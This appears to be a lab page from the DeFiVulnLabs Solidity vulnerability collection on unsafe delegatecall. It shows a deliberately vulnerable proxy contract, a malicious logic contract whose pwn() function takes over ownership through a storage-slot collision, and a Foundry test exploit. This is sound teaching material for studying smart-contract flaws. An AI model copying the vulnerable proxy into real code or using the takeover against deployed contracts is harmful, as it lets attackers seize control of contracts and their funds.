✅
Unsafe Delegatecall

DeFiVulnLabs/Delegatecall.sol at main · SunWeb3Sec/DeFiVulnLabs
GitHub
Unsafe Delegatecall
- This allows a smart contract to dynamically load code from a different address at runtime.
contract Proxy {
address public owner = address(0xdeadbeef); // slot0
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
}
fallback() external {
(bool suc,) = address(delegate).delegatecall(msg.data); // vulnerable
require(suc, "Delegatecall failed");
}
}
The objective is to change
owner
.This proxy contract delegatecalls an external contract
Delegate(_delegateAddress)
, which is unsafe. This external contract is called the "logic contract". We can implement a logic contract that changes owner
to us.We can call any function in this proxy contract -> logic contract pattern because the proxy contract only has a fallback function. Our calldata will go through the fallback function and it is used for the delegatecall.
Implement malicious external contract:
contract Delegate {
address public owner; // slot0
function pwn() public {
owner = msg.sender;
}
}
Suppose we want to let alice be the owner, then the exploit is:
vm.prank(alice);
address(proxy).call(abi.encodeWithSignature("pwn()"));
Run test:
forge test --contracts ./src/test/Delegatecall.sol -vvvv
Last modified 1d ago